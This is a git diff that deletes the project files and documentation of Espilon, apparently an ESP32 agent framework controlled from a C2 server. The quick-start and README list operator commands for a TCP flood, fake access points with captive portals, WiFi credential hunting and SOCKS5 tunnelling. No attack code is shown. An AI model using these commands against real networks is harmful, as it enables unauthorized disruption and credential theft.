Compare commits

...

No commits in common. "920e8ec0bd298203b47a1fd3d90de25540ac791f" and "29658270ae8765e5647119da280acb440b220771" have entirely different histories.

260 changed files with 2 additions and 46985 deletions

12
.github/CODEOWNERS vendored
View File

@ -1,12 +0,0 @@
# Default owner for all files
* @Eun0us
# ESP32 firmware
espilon_bot/ @Eun0us
# C3PO server
tools/C3PO/ @Eun0us
# Tools
tools/deploy.py @Eun0us
tools/espmon/ @Eun0us

View File

@ -1,43 +0,0 @@
---
name: Bug Report
about: Report a bug in Espilon
title: "[BUG] "
labels: bug
assignees: Eun0us
---
## Description
A clear description of the bug.
## Steps to Reproduce
1. ...
2. ...
3. ...
## Expected Behavior
What should happen.
## Actual Behavior
What happens instead.
## Environment
- **Target**: ESP32 / ESP32-C3 / ESP32-S3
- **ESP-IDF version**: v5.x
- **Module(s) affected**: mod_xxx
- **C3PO version**: (if applicable)
- **OS**: Linux / macOS / Windows
## Logs
```
Paste relevant logs here.
```
## Additional Context
Any other context (screenshots, config, etc).

View File

@ -1,28 +0,0 @@
---
name: Feature Request
about: Suggest a new feature or module for Espilon
title: "[FEAT] "
labels: enhancement
assignees: Eun0us
---
## Description
What feature or module would you like?
## Use Case
Why is this needed? What problem does it solve?
## Hardware Requirements
- **Required hardware**: (e.g., MCP2515 for CAN bus, none for software-only)
- **Target chip**: ESP32 / ESP32-C3 / ESP32-S3
## Proposed Implementation
If you have an idea of how it should work, describe it here.
## Additional Context
Any references, links, or documentation.

View File

@ -1,22 +0,0 @@
## Summary
Describe what this PR does and why.
## Changes
- ...
- ...
## Checklist
- [ ] Build tested locally (`idf.py build`)
- [ ] New module guarded with `#ifdef CONFIG_MODULE_XXX`
- [ ] Kconfig entries added (if new module)
- [ ] Module registered in `bot-lwip.c` (if new module)
- [ ] C3PO routes added (if new commands)
- [ ] Documentation updated
- [ ] No hardcoded credentials or secrets
## Breaking Changes
List any breaking changes (command renames, protobuf schema changes, etc), or "None".

View File

@ -1,53 +0,0 @@
name: Discord Push Notification
on:
push:
branches: ['**']
jobs:
notify:
runs-on: ubuntu-latest
steps:
- name: Send Discord notification
env:
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL }}
COMMIT_MSG: ${{ github.event.head_commit.message }}
run: |
BRANCH="${GITHUB_REF#refs/heads/}"
REPO="${{ github.repository }}"
AUTHOR="${{ github.event.head_commit.author.username }}"
COMMIT_SHA="${{ github.sha }}"
SHORT_SHA="${COMMIT_SHA:0:7}"
COMMIT_URL="${{ github.event.head_commit.url }}"
COMPARE_URL="${{ github.event.compare }}"
COMMIT_COUNT="${{ github.event.size }}"
TIMESTAMP="$(date -u +%Y-%m-%dT%H:%M:%S.000Z)"
# Truncate commit message for embed
FIRST_LINE=$(echo "$COMMIT_MSG" | head -n1 | cut -c1-256)
curl -s -o /dev/null -w "%{http_code}" -H "Content-Type: application/json" \
-X POST "$DISCORD_WEBHOOK" \
-d @- <<EOF
{
"embeds": [{
"title": "Push on \`${BRANCH}\`",
"url": "${COMPARE_URL}",
"color": 16312092,
"author": {
"name": "${AUTHOR}",
"url": "https://github.com/${AUTHOR}",
"icon_url": "https://github.com/${AUTHOR}.png"
},
"description": "[\`${SHORT_SHA}\`](${COMMIT_URL}) ${FIRST_LINE}",
"fields": [
{ "name": "Repository", "value": "[${REPO}](https://github.com/${REPO})", "inline": true },
{ "name": "Branch", "value": "\`${BRANCH}\`", "inline": true }
],
"timestamp": "${TIMESTAMP}",
"footer": {
"text": "GitHub Push"
}
}]
}
EOF

125
.gitignore vendored
View File

@ -1,125 +0,0 @@
# ESP-IDF Build System
espilon_bot/build/
espilon_bot/sdkconfig
espilon_bot/sdkconfig.old
espilon_bot/sdkconfig.defaults
espilon_bot/.config
espilon_bot/.config.old
# Managed Components (downloaded dependencies)
espilon_bot/managed_components/
espilon_bot/dependencies.lock
# Firmware binaries
espilon_bot/firmware/
*.bin
*.elf
*.map
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
*.egg-info/
dist/
build/
venv/
env/
ENV/
.venv
# Tools - Python dependencies
tools/C3PO/__pycache__/
*.pyc
# Configuration files with secrets
tools/C3PO/config.json
tools/deploy.json
**/config.local.json
# C3PO runtime / secrets
tools/C3PO/keys.json
tools/C3PO/*.db
tools/C3PO/data/
# Honeypot runtime databases (can appear anywhere)
honeypot_events.db
honeypot_events.db-shm
honeypot_events.db-wal
honeypot_alerts.db
honeypot_geo.db
*.db-shm
*.db-wal
# Logs
*.log
logs/
espilon_bot/logs/
sdkconfig
# C2 Runtime files (camera streams, recordings)
tools/C3PO/static/streams/*.jpg
tools/C3PO/static/recordings/*.avi
*.avi
# IDE and Editor
.vscode/
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
.idea/
*.swp
*.swo
*~
.DS_Store
# OS
Thumbs.db
.DS_Store
*.bak
# Credentials and Secrets
*.pem
*.key
*.crt
*.p12
secrets/
credentials/
.env
.env.local
# Temporary files
*.tmp
*.temp
.cache/
# Documentation build
docs/_build/
docs/.doctrees/
site/
# Test coverage
.coverage
htmlcov/
.pytest_cache/
# nanoPB generated files (if you want to regenerate them)
# Uncomment if you want to track generated .pb.c/.pb.h files
# espilon_bot/components/core/nanoPB/*.pb.c
# espilon_bot/components/core/nanoPB/*.pb.h
# Backup files
*.backup
*_backup
# Internal planning
plan.md
*.plan.md
MODULE_IDEAS.md
# Hardware-specific configs (optional)
# Uncomment if you don't want to track these
# espilon_bot/partitions.csv

View File

@ -1,648 +0,0 @@
# Contributing to Espilon
Thank you for your interest in contributing to Espilon! This document provides guidelines and instructions for contributing to the project.
---
## Table of Contents
- [Code of Conduct](#code-of-conduct)
- [How Can I Contribute?](#how-can-i-contribute)
- [Development Setup](#development-setup)
- [Coding Standards](#coding-standards)
- [Commit Guidelines](#commit-guidelines)
- [Pull Request Process](#pull-request-process)
- [Security Contributions](#security-contributions)
- [Community](#community)
---
## Code of Conduct
### Our Standards
- **Be respectful**: Treat everyone with respect and kindness
- **Be collaborative**: Work together to improve the project
- **Be responsible**: This is a security tool - use it ethically
- **Be professional**: Maintain professional communication
- **Be patient**: Help newcomers learn and grow
### Unacceptable Behavior
- Harassment, discrimination, or offensive comments
- Sharing malicious code or exploits for illegal purposes
- Unauthorized testing against third-party systems
- Trolling, insulting, or derogatory comments
- Publishing others' private information
**Violations**: Please report to project maintainers. Serious violations may result in being banned from the project.
---
## How Can I Contribute?
### Reporting Bugs
**Before submitting a bug report**:
1. Check the [documentation](docs/) for common issues
2. Search [existing issues](https://github.com/yourusername/epsilon/issues) to avoid duplicates
3. Try to reproduce with the latest version
**Good bug reports include**:
- Clear, descriptive title
- Steps to reproduce the issue
- Expected vs actual behavior
- ESP32 variant and board type
- ESP-IDF version
- Configuration (`sdkconfig` relevant parts)
- Serial output/logs
- Screenshots (if applicable)
**Bug Report Template**:
```markdown
## Description
[Clear description of the bug]
## Steps to Reproduce
1. Configure device with...
2. Execute command...
3. Observe error...
## Expected Behavior
[What should happen]
## Actual Behavior
[What actually happens]
## Environment
- ESP32 Variant: ESP32/ESP32-S2/ESP32-S3/etc.
- Board: DevKit/ESP32-CAM/Custom
- ESP-IDF Version: v5.3.2
- Espilon Version: commit hash or version
## Logs
```
[Paste relevant logs here]
```
## Additional Context
[Any other relevant information]
```
### Suggesting Features
**Feature requests should**:
- Have a clear use case
- Align with project goals (security research/education)
- Consider resource constraints (ESP32 limitations)
- Include implementation ideas (if possible)
**Feature Request Template**:
```markdown
## Feature Description
[Clear description of the proposed feature]
## Use Case
[Why is this feature needed? What problem does it solve?]
## Proposed Implementation
[How could this be implemented? Consider:]
- Memory requirements
- CPU usage
- Network bandwidth
- Module structure
- Configuration options
## Alternatives Considered
[Other approaches you've thought about]
## Additional Context
[Mockups, examples, references]
```
### Contributing Code
**Types of contributions welcome**:
- Bug fixes
- New modules or commands
- Documentation improvements
- Code quality improvements (refactoring, optimization)
- Tests and test infrastructure
- Security enhancements
- Translations
- Tool improvements (C2, deploy, etc.)
**Getting started**:
1. Fork the repository
2. Create a feature branch
3. Make your changes
4. Test thoroughly
5. Submit a pull request
---
## Development Setup
### Prerequisites
- ESP-IDF v5.3.2 or compatible
- Python 3.8+
- Git
- ESP32 development board (for testing)
### Fork and Clone
```bash
# Fork repository on GitHub, then:
git clone https://github.com/YOUR-USERNAME/epsilon.git
cd epsilon
# Add upstream remote
git remote add upstream https://github.com/original-owner/epsilon.git
```
### Set Up Development Environment
```bash
# Install ESP-IDF
cd ~/esp
git clone --recursive --branch v5.3.2 https://github.com/espressif/esp-idf.git
cd esp-idf
./install.sh esp32
. ./export.sh
# Install Python dependencies (for C2)
cd /path/to/epsilon/tools/c2
pip3 install -r requirements.txt
```
### Create Feature Branch
```bash
# Update your fork
git checkout main
git pull upstream main
# Create feature branch
git checkout -b feature/your-feature-name
```
**Branch naming conventions**:
- `feature/feature-name` - New features
- `fix/bug-description` - Bug fixes
- `docs/topic` - Documentation updates
- `refactor/component-name` - Code refactoring
- `test/test-description` - Test additions
---
## Coding Standards
### C Code (ESP32 Firmware)
**Style Guide**:
- **Indentation**: 4 spaces (NO tabs)
- **Braces**: K&R style (opening brace on same line)
- **Naming**:
- Functions: `snake_case` (e.g., `process_command`)
- Variables: `snake_case` (e.g., `device_id`)
- Constants: `UPPER_SNAKE_CASE` (e.g., `MAX_BUFFER_SIZE`)
- Macros: `UPPER_SNAKE_CASE`
- Structs: `snake_case_t` (e.g., `command_t`)
**Example**:
```c
#include "esp_log.h"
#include "utils.h"
#define TAG "MODULE"
#define MAX_RETRIES 3
typedef struct {
char name[32];
int value;
} config_t;
static int process_data(const uint8_t *data, size_t len)
{
if (data == NULL || len == 0) {
ESP_LOGE(TAG, "Invalid parameters");
return -1;
}
for (size_t i = 0; i < len; i++) {
// Process data
}
return 0;
}
```
**Best Practices**:
- Use ESP_LOG* macros for logging (not printf)
- Check return values and handle errors
- Free allocated memory (no leaks)
- Use const for read-only parameters
- Validate input parameters
- Document complex logic with comments
- Keep functions small and focused
- No global mutable state (use static or pass context)
- No magic numbers (use named constants)
- No commented-out code (use git history)
### Python Code (C2 Server)
**Style Guide**: [PEP 8](https://pep8.org/)
- **Indentation**: 4 spaces
- **Line length**: 100 characters max
- **Naming**:
- Functions: `snake_case`
- Classes: `PascalCase`
- Constants: `UPPER_SNAKE_CASE`
- Private: `_leading_underscore`
**Example**:
```python
import logging
from typing import List, Optional
logger = logging.getLogger(__name__)
class DeviceManager:
"""Manages connected ESP32 devices."""
def __init__(self):
self._devices = {}
def add_device(self, device_id: str, connection) -> None:
"""Add a new device to the registry."""
if not device_id:
raise ValueError("device_id cannot be empty")
self._devices[device_id] = connection
logger.info(f"Device added: {device_id}")
def get_device(self, device_id: str) -> Optional[object]:
"""Retrieve device by ID."""
return self._devices.get(device_id)
```
**Best Practices**:
- Type hints for function signatures
- Docstrings for classes and public functions
- Use logging module (not print statements)
- Handle exceptions appropriately
- Use context managers (`with` statements)
- Run `black` for formatting
- Run `flake8` for linting
**Tools**:
```bash
# Format code
black tools/c2/
# Check style
flake8 tools/c2/
# Type checking
mypy tools/c2/
```
### Documentation
**Markdown Style**:
- Use ATX-style headers (`#`, `##`, `###`)
- Code blocks with language specifiers
- Tables for structured data
- Lists for sequential or unordered items
**Code Comments**:
- Explain **why**, not **what** (code shows what)
- Keep comments up-to-date with code
- Use TODO/FIXME/NOTE for temporary notes
- Remove obsolete comments
---
## Branch Workflow
### Branch Structure
- `main` — stable releases only, protected (no direct push)
- `ε-dev` — main development branch
- `feat/xxx` — feature branches (e.g., `feat/mod-ble`)
- `fix/xxx` — bug fix branches (e.g., `fix/crypto-leak`)
### Workflow
1. Create a feature branch from `main`: `git checkout -b feat/mod-ble main`
2. Develop and commit on your branch
3. Open a Pull Request to `main`
4. Merge after review / validation
### Rules
- Never push directly to `main`
- Feature branches are deleted after merge
- Keep branches short-lived (one feature per branch)
---
## Commit Guidelines
### Commit Message Format
All commits use the `ε -` prefix:
```
ε - Short description of the change
```
For multi-line commits:
```
ε - Short description
Longer explanation of what changed and why.
Reference issues with Closes #123 or Fixes #456.
```
**Examples**:
```
ε - Add BLE scanner module
Implements mod_ble with passive scanning, device tracking,
and beacon spoofing. Uses built-in ESP32 BLE controller.
Closes #42
```
```
ε - Fix memory leak in crypto module
```
```
ε - Update README for v0.3.0
```
**Rules**:
- Always start with `ε - `
- Subject: imperative mood ("Add" not "Added")
- Subject: 50 characters or less (after prefix)
- Body: explain what and why (not how)
- Footer: reference issues (Closes #123, Fixes #456)
---
## Pull Request Process
### Before Submitting
**Checklist**:
- [ ] Code follows style guide
- [ ] All tests pass (if applicable)
- [ ] New code has comments
- [ ] Documentation updated (if needed)
- [ ] Commit messages follow guidelines
- [ ] Branch is up-to-date with upstream main
- [ ] No merge conflicts
- [ ] Tested on actual hardware (for firmware changes)
### Testing
**For firmware changes**:
```bash
cd espilon_bot
idf.py build
idf.py flash
idf.py monitor
# Verify functionality
```
**For C2 changes**:
```bash
cd tools/c2
python3 c3po.py
# Test with connected ESP32
```
**For module changes**:
- Test all commands in the module
- Test error cases (invalid args, hardware failures, etc.)
- Test under different conditions (weak WiFi, GPRS, etc.)
### Submitting Pull Request
1. **Push to your fork**:
```bash
git push origin feature/your-feature-name
```
2. **Create PR on GitHub**:
- Go to your fork on GitHub
- Click "Compare & pull request"
- Fill out the PR template
3. **PR Description Template**:
```markdown
## Description
[Clear description of changes]
## Motivation
[Why is this change needed?]
## Changes Made
- [ ] Added feature X
- [ ] Fixed bug Y
- [ ] Updated documentation Z
## Testing
[How was this tested?]
- [ ] Tested on ESP32 DevKit
- [ ] Tested with C2 server
- [ ] Tested error cases
## Screenshots/Logs
[If applicable]
## Breaking Changes
[List any breaking changes, or write "None"]
## Checklist
- [ ] Code follows style guide
- [ ] Tests pass
- [ ] Documentation updated
- [ ] Tested on hardware
## Related Issues
Closes #123
Fixes #456
```
### Review Process
**What to expect**:
1. Maintainer reviews your code (usually within 1 week)
2. Feedback and requested changes (if any)
3. You address feedback and update PR
4. Maintainer approves and merges
**Responding to feedback**:
- Be open to suggestions
- Ask questions if unclear
- Make requested changes in new commits (don't force-push)
- Mark conversations as resolved
---
## Security Contributions
### Reporting Security Vulnerabilities
**DO NOT open public issues for security vulnerabilities**
Instead:
1. Email: [security@epsilon-project.org] (to be set up)
2. Include:
- Description of vulnerability
- Steps to reproduce
- Potential impact
- Suggested fix (if any)
3. Wait for acknowledgment (48 hours)
4. Work with maintainers on responsible disclosure
### Security Enhancements
Security improvements are highly valued:
- Cryptography enhancements (ChaCha20-Poly1305, TLS, etc.)
- Input validation improvements
- Memory safety improvements
- Secure defaults
**Guidelines**:
- Clearly document security implications
- Consider backward compatibility
- Provide migration guide if breaking changes
- Reference security standards (OWASP, NIST, etc.)
### Ethical Use
**All contributions must**:
- Promote responsible security research
- Include appropriate warnings for sensitive features
- Not enable or encourage malicious use
- Comply with responsible disclosure principles
---
## Community
### Communication Channels
- **GitHub Issues**: Bug reports, feature requests
- **GitHub Discussions**: Questions, ideas, general discussion
- **Pull Requests**: Code contributions
- **Discord**: [To be set up] Real-time chat
### Getting Help
**Resources**:
1. Read the [documentation](docs/)
2. Search [existing issues](https://github.com/yourusername/epsilon/issues)
3. Check [discussions](https://github.com/yourusername/epsilon/discussions)
4. Ask in Discord (for quick questions)
5. Open a new issue (for bugs or feature requests)
**When asking for help**:
- Provide context and details
- Show what you've already tried
- Include relevant logs or screenshots
- Be patient and respectful
### Recognition
Contributors will be:
- Listed in project AUTHORS file
- Mentioned in release notes (for significant contributions)
- Credited in documentation (where appropriate)
---
## Development Resources
### Useful Links
**ESP-IDF**:
- [ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)
- [API Reference](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/index.html)
- [ESP32 Forums](https://esp32.com/)
**Protocol Buffers**:
- [Protocol Buffers Guide](https://protobuf.dev/)
- [nanoPB Documentation](https://jpa.kapsi.fi/nanopb/)
**Cryptography**:
- [mbedTLS Documentation](https://mbed-tls.readthedocs.io/)
- [ChaCha20 RFC 8439](https://tools.ietf.org/html/rfc8439)
**Security**:
- [OWASP IoT Top 10](https://owasp.org/www-project-internet-of-things/)
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
### Project Structure
```
epsilon/
├── espilon_bot/ # ESP32 firmware
│ ├── components/ # Modular components
│ │ ├── core/ # Core functionality
│ │ ├── mod_system/ # System module
│ │ ├── mod_network/ # Network + Tunnel module
│ │ ├── mod_fakeAP/ # FakeAP module
│ │ ├── mod_recon/ # Recon module
│ │ ├── mod_redteam/ # Red Team module
│ │ ├── mod_honeypot/ # Honeypot module
│ │ ├── mod_canbus/ # CAN Bus module
│ │ ├── mod_fallback/ # Fallback connectivity
│ │ └── mod_ota/ # OTA updates
│ └── main/ # Main application
├── tools/ # Supporting tools
│ ├── C3PO/ # C2 server (Python)
│ ├── deploy.py # Unified build, provision & flash
│ └── nanoPB/ # Protobuf definitions
├── docs/ # Documentation
│ ├── INSTALL.md
│ ├── HARDWARE.md
│ ├── MODULES.md
│ ├── PROTOCOL.md
│ └── SECURITY.md
├── README.md # Main README (English)
├── README.fr.md # French README
├── LICENSE # MIT License
└── CONTRIBUTING.md # This file
```
---
## License
By contributing to Espilon, you agree that your contributions will be licensed under the [MIT License](LICENSE) with the same additional terms for security research tools.
---
## Questions?
If you have questions about contributing, please:
1. Check this guide first
2. Search existing discussions
3. Open a new discussion on GitHub
4. Ask in Discord (when available)
**Thank you for contributing to Espilon! 🚀**
---
**Last Updated**: 2025-12-26

61
LICENSE
View File

@ -1,61 +0,0 @@
MIT License
Copyright (c) 2025 Epsilon Project Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
---
ADDITIONAL TERMS FOR SECURITY RESEARCH TOOLS
This software is a security research and educational tool. By using this
software, you agree to the following additional terms:
1. AUTHORIZED USE ONLY: This software must only be used for authorized
security testing, research, education, or other lawful purposes. You must
have explicit permission to test any systems, networks, or devices that
you do not own.
2. NO MALICIOUS USE: You may not use this software for any malicious,
harmful, or illegal activities, including but not limited to: unauthorized
access to systems, denial of service attacks, privacy violations, or any
activity that violates local, state, national, or international laws.
3. USER RESPONSIBILITY: You are solely responsible for your use of this
software and any consequences thereof. The authors and contributors
assume no liability for misuse, damages, or legal issues arising from
the use of this software.
4. NO WARRANTY: This software is provided for research and educational
purposes. It comes with no warranty and the authors make no guarantees
about its fitness for any particular purpose.
5. COMPLIANCE: You must comply with all applicable laws and regulations
in your jurisdiction, including but not limited to: computer fraud and
abuse laws, wiretapping laws, privacy laws, and telecommunications
regulations.
6. ATTRIBUTION: When publishing research or educational materials based
on this software, please provide appropriate attribution to the original
authors and this project.
Unauthorized use of this software may violate applicable laws and could
result in severe civil and criminal penalties.
USE AT YOUR OWN RISK.

View File

@ -1,150 +0,0 @@
# Espilon — Quick Start Guide
Get a working C2 server in **under 5 minutes**.
> For full documentation see [README.md](README.md) and [tools/C3PO/README.md](tools/C3PO/README.md).
---
## Option A: Without Docker (recommended for development)
### 1. Clone and install
```bash
git clone https://github.com/Espilon-Net/epsilon-source.git
cd epsilon-source/tools/C3PO
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
### 2. Configure
```bash
cp .env.example .env
# Edit .env to change default passwords (optional for local testing)
```
### 3. Start the C2 server
```bash
python c3po.py
```
The TUI (terminal interface) starts automatically. You'll see a multi-pane interface with device list and logs.
### 4. Deploy to ESP32
```bash
cd tools
python deploy.py -p /dev/ttyUSB0 -d my-device-01 \
--wifi "YourSSID" "YourPassword" \
--srv 192.168.1.100
```
This will:
- Generate a unique crypto key
- Build the firmware
- Flash the ESP32
- Register the key in C3PO's keystore
The device connects automatically and appears in the TUI.
### 5. Send commands
In the C3PO TUI command bar (bottom), type:
```
send <device_id> system_info
send <device_id> ping 8.8.8.8
send <device_id> arp_scan
send <device_id> system_mem
```
Replace `<device_id>` with the ID shown in the TUI.
---
## Option B: With Docker
### 1. Start C3PO
```bash
cd tools/C3PO
cp .env.example .env
docker compose up -d
```
### 2. Open the web dashboard
Open http://localhost:8000 in your browser. Login: `admin` / `admin` (change in `.env`).
### 3. Deploy to ESP32
```bash
cd tools
python deploy.py -p /dev/ttyUSB0 -d my-device-01 \
--wifi "YourSSID" "YourPassword" \
--srv <your-machine-ip>
```
---
## Prerequisites for ESP32 hardware
- ESP-IDF v5.3.2 installed ([install guide](https://docs.espressif.com/projects/esp-idf/en/v5.3.2/esp32/get-started/))
- ESP32 connected via USB
- Python 3.8+
---
## Web dashboard
Start the web server from the TUI:
```
web start
```
Then open http://localhost:8000. Pages available:
| Page | URL | Description |
|------|-----|-------------|
| Dashboard | `/dashboard` | Device list and status |
| Tunnel | `/tunnel` | SOCKS5 tunnel proxy management |
| Cameras | `/cameras` | Live camera feeds |
| MLAT | `/mlat` | Multilateration map |
| OTA | `/ota` | Firmware build & deploy |
---
## Common commands reference
```
help Show all commands
list List connected devices
send <id> system_info Device info (chip, modules, memory)
send <id> system_mem Memory usage
send <id> ping <host> ICMP ping
send <id> arp_scan Scan local network
send <id> fakeap_start <ssid> Start a fake AP (if module enabled)
send <id> tun_start <ip> 2627 Start SOCKS5 tunnel proxy to C3PO
send <id> tun_stop Stop tunnel proxy
send all system_info Broadcast to all devices
group add scanners <id1> <id2> Create device group
send group scanners arp_scan Send to group
web start Start web dashboard
camera start Start camera UDP receiver
```
---
## Troubleshooting
| Problem | Solution |
|---------|----------|
| `ModuleNotFoundError: textual` | `pip install -r requirements.txt` |
| Device connects but commands fail | Check `keys.json` — the device key must match |
| Web dashboard not loading | Run `web start` in TUI first, then open http://localhost:8000 |
| `Decrypt/auth failed` | Key mismatch — re-provision the device with `deploy.py` |

View File

@ -1,465 +0,0 @@
# Espilon
![Espilon Logo](assets/images/espilon-logo.jpg)
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
[![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.3.2-green.svg)](https://github.com/espressif/esp-idf)
[![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32)
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
---
## Sommaire
- [Documentation Complète](#documentation-complète)
- [Quick Start](#quick-start)
- [Prérequis](#prérequis)
- [Installation Rapide](#installation-rapide)
- [Qu'est-ce qu'Espilon ?](#quest-ce-quespilon-)
- [Modes de Connectivité](#modes-de-connectivité)
- [Architecture](#architecture)
- [Composants Clés](#composants-clés)
- [Modules Disponibles](#modules-disponibles)
- [System Module](#system-module-built-in-toujours-actif)
- [Network Module](#network-module)
- [FakeAP Module](#fakeap-module)
- [Recon Module](#recon-module)
- [Red Team Module](#red-team-module)
- [Honeypot Module](#honeypot-module)
- [Tunnel Module](#tunnel-module-proxy-socks5)
- [CAN Bus Module](#can-bus-module-mcp2515)
- [OTA Module](#ota-module)
- [Outils](#outils)
- [Deploy Tool](#deploy-tool)
- [C2 Server (C3PO)](#c2-server-c3po)
- [Sécurité](#sécurité)
- [Chiffrement](#chiffrement)
- [Usage Responsable](#usage-responsable)
- [Cas d'Usage](#cas-dusage)
- [Roadmap](#roadmap)
- [Licence](#licence)
- [Contributeurs](#contributeurs)
- [Liens Utiles](#liens-utiles)
- [Support](#support)
---
## Documentation Complète
**[Consultez la documentation complète ici](https://docs.espilon.net)**
![Documentation header](assets/images/documentation-header.png)
---
La documentation MkDocs inclut :
```md
- Guide d'installation pas à pas
- Traduction EN/FR
- Configuration WiFi et GPRS
- Référence des modules et commandes
- Guide du deploy tool
- Spécification du protocole C2
- Exemples et cas d'usage
```
---
## Quick Start
### Prérequis
- ESP-IDF v5.3.2
- Python 3.8+
- ESP32 (tout modèle compatible)
- LilyGO T-Call pour le mode GPRS (optionnel)
### Installation Rapide
```bash
# 1. Installer ESP-IDF v5.3.2
mkdir -p ~/esp
cd ~/esp
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
cd esp-idf
./install.sh esp32
. ./export.sh
# 2. Cloner Espilon
cd ~
git clone https://github.com/Espilon-Net/epsilon-source.git
cd epsilon/espilon_bot
# 3. Configurer
idf.py menuconfig
# 4. Compiler et flasher
idf.py build
idf.py -p /dev/ttyUSB0 flash monitor
```
**Configuration minimale** (menuconfig) :
```c
Espilon Bot Configuration
├─ Device ID: "votre_id_unique"
├─ Network → WiFi
│ ├─ SSID: "VotreWiFi"
│ └─ Password: "VotreMotDePasse"
└─ Server
├─ IP: "192.168.1.100"
└─ Port: 2626
```
---
## Qu'est-ce qu'Espilon ?
Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour :
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
### Modes de Connectivité
| Mode | Hardware | Portée | Use Case |
|------|----------|--------|----------|
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
**General Packet Radio Service** vs **WiFi**
---
## Architecture
```md
┌─────────────────────────────────────────────────────┐
│ ESP32 Agent │
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
│ │ GPRS │← │ Poly1305 │← │ (nanoPB/TCP) │ │
│ └───────────┘ └──────────┘ └─────────────────┘ │
│ ↓ ↓ ↓ │
│ ┌───────────────────────────────────────────────┐ │
│ │ Module System (FreeRTOS) │ │
│ │ [Network] [Tunnel] [FakeAP] [Recon] │ │
│ │ [RedTeam] [Honeypot] [CAN Bus] [OTA] │ │
│ └───────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────┘
↕ Encrypted TCP
┌──────────────────────┐
│ C2 Server (C3PO) │
│ - Device Registry │
│ - Group Management │
│ - TUI + Web UI │
└──────────────────────┘
```
### Composants Clés
- **Core** : Connexion réseau, ChaCha20-Poly1305 AEAD + dérivation HKDF, protocole nanoPB
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)** : Serveur Python asyncio + dashboard web pour contrôle multi-agents
- **Deploy** : Pipeline unifié build, provision & flash (`tools/deploy.py`)
---
## Modules Disponibles
> Les modules s'activent indépendamment via `idf.py menuconfig` → Espilon Bot Configuration → Modules. Plusieurs modules peuvent être actifs simultanément (selon les contraintes flash/RAM).
### System Module (Built-in, toujours actif)
Commandes système de base :
- `system_reboot` : Redémarrage de l'ESP32
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
- `system_uptime` : Temps de fonctionnement depuis le boot
### Network Module
Module pour reconnaissance, tests réseau et proxy tunnel SOCKS5 :
- `ping <host> [args...]` : Test de connectivité ICMP
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
- `tun_start <ip> <port>` : Démarrer le proxy tunnel SOCKS5 vers C3PO (nécessite `CONFIG_MODULE_TUNNEL`)
- `tun_stop` : Arrêter le tunnel
- `tun_status` : Statut du tunnel (channels, bytes, mode chiffrement)
### FakeAP Module
Module pour création de points d'accès WiFi simulés :
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
- `fakeap_stop` : Arrêter le faux AP
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
- `fakeap_clients` : Lister les clients connectés
- `fakeap_portal_start` : Activer le portail captif
- `fakeap_portal_stop` : Désactiver le portail captif
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
- `fakeap_sniffer_off` : Désactiver la capture
### Recon Module
Module de reconnaissance et collecte de données. Deux modes disponibles :
#### Mode Camera (ESP32-CAM)
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
- `cam_stop` : Arrêter le streaming
#### Mode BLE Trilateration
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
- `trilat stop` : Arrêter la trilatération
### Red Team Module
Hunt WiFi autonome, attaques de credentials, et mesh relay ESP-NOW :
- `rt_hunt` : Lancer le cycle scan + attaque WiFi autonome
- `rt_stop` : Arrêter le hunt
- `rt_status` : Cibles en cours, progression, credentials capturés
- `rt_scan` : Scan passif des APs (mode promiscuous, sans association)
- `rt_net_add <ssid> <pass>` / `rt_net_list` : Gérer les réseaux connus
- `rt_mesh` : Activer le relay ESP-NOW mesh (multi-hop vers C2 hors portée)
